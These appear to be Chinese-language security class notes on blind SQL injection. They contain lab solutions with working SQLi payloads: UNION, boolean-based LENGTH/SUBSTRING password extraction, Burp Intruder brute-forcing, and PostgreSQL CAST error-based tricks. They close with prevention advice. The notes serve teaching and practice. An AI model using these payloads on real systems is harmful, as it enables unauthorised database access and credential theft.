# Blind SQL Injection
[簡報]( https://slides.com/fallnight/blindsqli)
## 回憶 SQLi 課程
- 資料與資料庫之間的關係
- 使用者 -> 應用程式/查詢 -> DBMS 軟體 -> 資料庫
- 資料庫管理系統 (Database Management System, DBMS) > 資料庫 (database) > 資料表 (table) > 欄位 (column) > 資料 (row/record)
- SQL 語法
- 想要得到 Peter 的帳號和密碼
- <font color="#f00">從</font> 資料表 <font color="#25E019">選取</font> <font color="#19D9E0">符合條件的</font> 欄位下的資料
<font color="#25E019">SELECT</font> account, password <font color="#f00">FROM</font> Users <font color="#19D9E0">WHERE</font> name='Peter'
-> <font color="#f00">從</font> Users 資料表,<font color="#25E019">選取</font> <font color="#19D9E0">name 為 "Peter" 的</font> accout 和 password 資料
- SQL Injection
- 常見類型
- Retrieving Hidden Data (檢索隱藏資料)
- 檢索隱藏資料
- 取得原本看不到的網站資料
- Subverting Application Logic (影響應用程式邏輯)
- 影響應用程式邏輯
- UNION Attack (UNION 攻擊)
- UNION 攻擊
- 透過 UNION 語法,讓資料庫執行額外的 SELECT 查詢語句
- Examining The Database (檢查資料庫)
- Blind SQL Injection (SQL 盲注入)
## 資料庫版本
### Examining The Database
- 不同的 **資料庫管理系統 (DBMS)** 在語法上會有差異
- 在攻擊前,可以先檢查網站所使用的 **DBMS** 為何,排除語法問題導致的錯誤
- 常見 **關聯式資料庫管理系統 (RDBMS)** 有 Oracle、Microsoft SQL Server、PostgreSQL、MySQL
### 不同資料庫管理系統,有不同的語法
- PortSwigger 官方有提供[速查表](https://portswigger.net/web-security/sql-injection/cheat-sheet)
- 使用 -- 的註解方式時,最好在後方加個空格後再隨便加個符號,避免註解失敗
- ex. `--+` 或 `-- //`
### 印出版本資訊的語法
- 結合 UNION SELECT,讓網站印出自己的資料庫版本
- 看看該版本是否有已知的 CVE 漏洞可以利用
| DBMS | 查詢語法 |
| ------------------ | ------------------------------ |
| Oracle | `SELECT banner FROM v$version` |
| Microsoft (MS SQL) | `SELECT @@version` |
| PostgreSQL | `SELECT version()` |
| MySQL | `SELECT @@version` |
### Lab 0x1
:::spoiler Solution
依題意:This lab contains a SQL injection vulnerability in the product category filter
entry point 在 `filter?category`
測試網站回應
1. 如果 GET 參數什麼都沒有 -> http 200
2. 直接試試看 `SELECT @@version` 可不可以
- `' SELECT @@version`
- `' AND SELECT @@version -- //`
- `'|| SELECT @@version ||'`
- 發現都不行,所以嘗試 UNION ATTACK
3. 做 UNION ATTACK 前置,到 `order by 3 -- // `http 500 -> 兩個欄位
4. 用 UNION SELECT 測試兩個欄位的屬性,發現 int 和 char 可以
5. 用 UNION SELECT 確定 version
`' UNION SELECT NULL, @@version -- //`
:::
### Lab 0x2
:::spoiler Solution
依題意:This lab contains a SQL injection vulnerability in the product category filter
entry point 在 `filter?category`
需注意:這是 Oracle -> FROM 後面的條件優先級高
1. 如果 GET 參數甚麼都沒有 - > http 200
2. 直接試試看 `SELECT banner FROM v$version` 或 `SELECT version FROM v$instance` 可不可以,包含
- `'SELECT 1 FROM dual -- //`
- `'AND SELECT 1 FROM dual -- //`
- `'|| SELECT 1 FROM dual ||'`
- 發現都不行,所以嘗試 UNION ATTACK
3. 做UNION ATTACK 前置,到 `order by 3 -- // `http 500 -> 兩個欄位
4. 用 UNION SELECT 測試兩個欄位的屬性,發現 int 和 char 可以
`' UNION SELECT 'NISRA', 67 FROM dual`
5. 用 UNION SELECT 確定 version
`' UNION SELECT NULL, banner FROM v$version -- //`
:::
## Blind SQLi
- SQLi v.s. Blind SQLi
- SQLi -> 資料庫會把資料整個印出來
- Blind SQLi -> 資料庫只會給反應,我們看不到資料內容,要去猜他查到的資料是什麼
- 分為兩個類型:
- Boolean-based
- True -> 網頁多出一行字(如:Welcome back!)
- False -> 網頁少了一行字
- Time-based
- True -> 網頁延遲一段時間 (ex. 5秒、10秒),才加載出來
- False -> 網頁照常,很快就加載完成
### Lab 0x3
:::spoiler Burp Suite 自動找長度
- 在 HTTP history,選取根目錄的請求封包後對它按右鍵,選擇 "Send to Intruder"
- 上方欄位選 Proxy 旁邊的 Intruder
- 上方選單為 "Sniper attack" 模式 -> 代表只針對一個值做爆破測試
- 將判斷長度的 Payload 貼到 Cookie 的 TrackingId 後方
`' AND (SELECT LENGTH(password) FROM users WHERE username='administrator')>1--`
- 反白選取原本需要手動替換、爆破測試的值
- 按上方 Position 的 Add§,確保要替換的值有被 § 前後包起來
- 右邊側邊欄開啟 Payloads,設定各項參數如圖:


:::
:::spoiler Burp Suite 半自動找密碼
- 比暴力破解快
- 但需要手動調位數 (20 次)
- Burp Suite 幫忙一個個測試 0\~9、a\~z ,找到即停止
- Payload 的判斷從 大於 改成 等於,直接問這位密碼是否是某個字元
---
**設定步驟:**
- 修改 TrackingId 後方的 Payload (要保留原有的 TrackingId)
- 選取 m,按左上角的 Add §,讓 Burp Suite 自動替換這裡的字元
- 右方側邊欄 Payloads
- Payload type 選擇 Simple list
- 複製 0\~9、a\~z 的清單
- 按 Paste 貼上
補充:
- 不想手打 a\~z、0\~9 的清單?
- Payload type 選擇 Brute forcer
- 下方可以直接選 abc...xyz012...789
- Min/Max length 都選 1
- 生成長度為 1 的排列組合
= a\~z、0\~9 的每個字元
- 右方側邊欄改成 Settings (往下滑)
- Auto-pause attack
- 自動暫停攻擊
- 當回應出現指定字串,就暫停任務
- 不再發送後續的 Payload
- 節省時間與資源
- Paste 貼上 "Welcome back"
- 或用 Add 手打
- 右方側邊欄改成 Settings (再往下滑)
- Grep - Match
- 匹配標記
- 不會影響任務進行或暫停
- 會在結果清單新增設定的特徵詞欄位
- 若回應內容有匹配的特徵詞,就可以在結果清單看到,也可用排序功能
- 輔助結果分析
- 預設包含多個特徵詞,按 Clear 清除
- Paste 貼上 "Welcome back"
- 或用 Add 手打
:::
:::spoiler Burp Suite 自動找密碼
- 全自動跑密碼,但耗時最久
- 真 • 暴力破解
- 總共會跑 20 位密碼 × 36 種可能 = 720 種要嘗試的排列組合
---
**設定步驟:**
- Payload position 1 - 1
- Payload type 選 Numbers
- 對應密碼的第1 ~ 20位
- Payload position 2 - a
- Payload type 選 Simple list
- Paste 貼上 0\~9、a\~z 的清單
:::
:::spoiler Python 腳本 自動找密碼
- 不用手動又更快破解的方法
- 剛剛在手動找密碼的過程是可以用程式自動化去跑的
- 其實就是 二分搜尋 (二分法)
- 一種搜尋演算法
- 詢問是否大於某數,得到 True / False 兩種結果
-> 修改可能的範圍,直到範圍的上限下限相同,就找到了那位字元是什麼
- 讓程式用 二分法 找密碼
- 可能性有 0\~9 和 a\~z
- ASCII: 最小 '0' → 48 、 最大 'z' → 122
- 初始範圍 48 ~ 122
-> 透過 True / False 的結果,不斷縮小範圍
- 程式在做二分法、改變範圍的邏輯:
- 計算範圍的中間值 (48+122) / 2 = 85
- Payload 判斷這位密碼是否大於 85
- "是",網頁回應會出現 "Welcome back!"
- 修改範圍的最小值,改成中間值 85 + 1,提高下限
- "否",網頁不會出現 "Welcome back!"
- 修改範圍的最大值,改成目前的中間值 85,降低上限
---
- requests 模組
- 讓程式可以去連線網站、發送請求
- requests.get(url, cookies=cookies)
- 對 lab 網址 (url) 發送請求,並將 cookies 設定為帶有 payload 的 cookies
- try ... except ...
- 嘗試 (try) requests 連線,如果失敗 (except) 就跳出迴圈並印出錯誤訊息
- response.text
- 網頁回應的原始碼
- 直接找這裡有沒有 "Welcome back" 來判斷注入是否成功
:::
:::spoiler Solution
依題意:
- entry point 在 cookie
- 當後端 DBMS 回傳任何 query 的結果 -> 顯示 Welcome back
- 有一個 table 叫做 users,下面有欄位叫做 username 和 password
entry point: cookie
可以嘗試其他 SQLi 手法看能不能繞過 login page -> 發現不行,Welcome back 在
嘗試按照題目提示,發現 TrackingId 挺可疑
---
1. 嘗試 TrackingId 不寫東西會不會有 Welcome back -> 沒有,TrackingId 的值要留
2. 測試 cookie 後面 `'-- //` 可不可以正常執行 -> 可以
假設後端邏輯是
SELECT OOO FROM XXX WHERE TrackingId = '裡頭要有東西' -> 顯示 Welcome back
3. 測試 `' AND (SELECT 1)=1 -- //` -> 有 Welcome back 假設成立
4. 測試 `' AND (SELECT 1 FROM users WHERE username='administrator')=1-- //` -> 有
Welcome back,這東西存在
5. 測試 `' AND (SELECT LENGTH(password) FROM users WHERE username='administrator')>1-- //` -> 有 Welcome back,payload 方向正確
6. 使用 intruder 發現 `username = 'administrator'` 的 password 長度是 20
7. 測試 `' AND (SELECT SUBSTRING(password, 1, 1) FROM users WHERE username='administrator')>'a'-- //` 或 `' AND (SELECT SUBSTRING(password, 1, 1) FROM users WHERE username='administrator')>'b'-- //` -> 有 Welcome back,payload 方向正確,使用 intruder 爆破
:::
### 小結
- 找密碼的方法很多
- 手動慢慢輸,理解運作原理
- 使用工具
- Burp Suite
- 不用自己寫程式,但不夠靈活,等待時間長
- 推薦在排列組合不多的情況下使用
- Python 腳本
- 可以使用各種搜尋演算法,大幅提升破解速度
- 會需要處理程式語法上的 bug 或者連線問題等,攻擊以外的問題
#### 攻擊流程
- 先找可以注入的地方 (entry point)
- 列舉網站後端的 DBMS 版本,ex. Oracle、Microsoft SQL Server、PostgreSQL、MySQL
- Fuzz attack:用腳本或工具,自動化測試字典檔的每個 Payload
- 設定條件
- ex. `' AND '1'='1'--+`/`' AND '1'='2'--+`
- 驗證 DBMS 回應條件 True / False 的方式
- 嘗試列舉 Database、table
- 注入 Payload 查詢機密資料
- 找密碼
- LENGTH() 找密碼長度
- SUBSTRING() 將密碼拼出來
### 觸發錯誤訊息
- 不論查詢成功與否都不會在網站上有任何顯示
- 透過強制讓後端觸發邏輯錯誤、產生錯誤訊息,來推斷資訊、提取資料
- 提取詳細錯誤資訊 -> Lab 0x4
- 觸發條件式錯誤 -> Lab 0x5
### Lab 0x4
:::spoiler Solution
依題意:
- 有一個 table 叫 users,下面有兩欄分別是 password 、 username,找 username 叫 administrator
- 注入點在 tracking cookie
- DBMS 不會回傳任何查詢結果在前端
entry point 在名叫 TrackingId 的 cookie 上
---
1. 測試 `'` -> http 500,網站後端有錯誤正常
注意:後端的錯誤噴到前端上了,這不正常,目標就是讓網站報錯
2. 測試 `' -- //` -> http 200
經由上面的測試,可以假設後端邏輯是
SELECT OOO FROM XXX WHERE TrackingId = '裡頭要有東西'
3. 測試 `' AND (SELECT 1)=1 -- //` -> http 200 ,不是 oracle
4. 測試 `' AND (SELECT 1) -- //` -> http 500,語法沒問題但後端報錯
5. 利用報錯的訊息測試 `'AND (SELECT 1 FROM users) -- // -> http 500`,說有 AND 語法錯誤 -> users 這個 table 存在
註:因為 SQL 中 FROM OOO WHERE XXX 檢查語意的優先級較高,所以如果是不存在 users 的話 (如 `' AND (SELECT 1 FROM users67 -- //` ) 則應該先報錯說沒有這個 table
6. 利用這個原理,類似的還可以嘗試 fuzz attack 看他的 DBMS 是哪家,已知不是 oracle
- `' AND (SELECT @@version) -- //` -> http 500,version column 不存在
- `' AND (SELECT version()) -- //` -> http 500,AND boolean 問題 -> 這是一個 postgreSQL
7. 確認 username = 'administrator' 存不存在,測試 `' AND (SELECT username FROM users WHERE username='administrator') -- //` -> http 500,報錯太長了,刪掉 cookie 內容再試一次,失敗,轉成另一種寫法
8. 因為是 postgreSQL 所以可以用 CAST 做轉換報錯,測試 `'AND CAST((SELECT username FROM users LIMIT 1) AS int)=1 -- //` -> http 500,確認 username 有 adminstrator
(因為 adminstrator 是 a 剛好排序較前,這樣的 payload 可以在限制字數之內)
追求卓越:因為是 postgreSQL,所以可以有更簡潔的作法: `||(SELECT username FROM users LIMIT 1 OFFSET 0)::int||'` ,如果要查詢更多,可以更改 offset 的值
9. 測試 `||(SELECT password FROM users LIMIT 1 OFFSET 0)::int||`
:::
## 預防 SQLi
- 使用參數化查詢
- 預處理語句
- 將 SQL 程式碼的結構與使用者輸入的資料徹底分離
- 建立白名單機制
- 規範那些內容是可以被接受
- 最小權限原則
- 只賦予連接資料庫的帳號執行任務時所需要的最小權限
- 不顯示錯誤訊息
- 針對 Blind SQL injection,可減少透露錯誤的原因,僅顯示「請重新再試一次」,避免駭客藉盲測收集情報
- 驗證與過濾使用者輸入
- 長度與格式校驗
- 限制字串的最大長度、使用正則表達式等機制,確保輸入內容符合預期格式
- 型別檢查
- 對於預期為數字的輸入,先驗證它確實是數字型別,或嘗試轉換型別後再使用
- 特殊字元過濾或轉義
- 過濾或轉義在 SQL 中具有特殊意義的字元
- ex. 單引號 ' 、雙引號 " 、分號 ; 、連接符號 -- 等
- 轉義 (Escape):在特殊字元前加上反斜線等標記,使其失去作為指令的功能而僅被視為普通符號
## 案例分享
- https://hackerone.com/reports/2759243
- 2024年10月:美國國防部 (DoD) 系統出現「時間型」盲注漏洞
- 事件經過:
- 在漏洞回報平台 HackerOne 上,一名白帽駭客通報了美國國防部旗下網站的一個參數(sortBy)存在 Time-based Blind SQLi
- 造成危害:
- 駭客在報告中示範,透過注入 WAITFOR DELAY 的時間延遲腳本,他能根據網頁伺服器晚了 5 秒或 10 秒才回應的現象,逐字猜出國防部資料庫的名稱、資料表以及內部紀錄
- 此報告隨後被美國國防部驗證並緊急修復,避免了可能的機密外洩問題
- https://www.nics.nat.gov.tw/core_business/information_security_information_sharing/cybersecuritynews/6ca68121-cfec-49f5-bb3c-df6f31b4fb05/
---
###### tags: `ClassNotes` `NISRA` `114` `2026`